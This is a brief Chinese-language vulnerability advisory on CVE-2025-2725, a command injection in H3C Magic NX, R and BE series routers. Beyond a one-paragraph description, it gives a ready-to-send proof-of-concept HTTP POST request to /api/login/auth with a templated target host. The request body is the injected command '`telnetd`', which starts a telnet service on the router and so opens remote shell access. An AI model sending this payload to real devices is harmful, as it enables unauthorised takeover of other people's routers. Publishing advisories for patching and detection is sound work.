H3C Magic NX系列设备存在远程命令执行漏洞（CVE-2025-2725）

日期: 2025-10-10 | 影响软件: H3C Magic NX | POC: 已公开

漏洞描述

H3C Magic NX系列设备（包括Magic NX15、Magic NX30 Pro、Magic NX400），以及Magic R系列设备（如MagicR3010）和Magic BE系列设备（如Magic BE18000，版本至V100R014），存在一个被分类为关键的漏洞。该漏洞涉及HTTPPOST请求处理器的未知功能，具体为组件中的/api/login/auth文件。通过操纵此功能，攻击者可以执行命令注入攻击。

PoC代码

POST /api/login/auth HTTP/1.1
Host: {{Hostname}}
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
Content-Length: 11
Content-Type: application/json;charset=UTF-8
Origin: 127.0.0.1:8014
Referer: 127.0.0.1:8014/home
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36

'`telnetd`'

相关漏洞推荐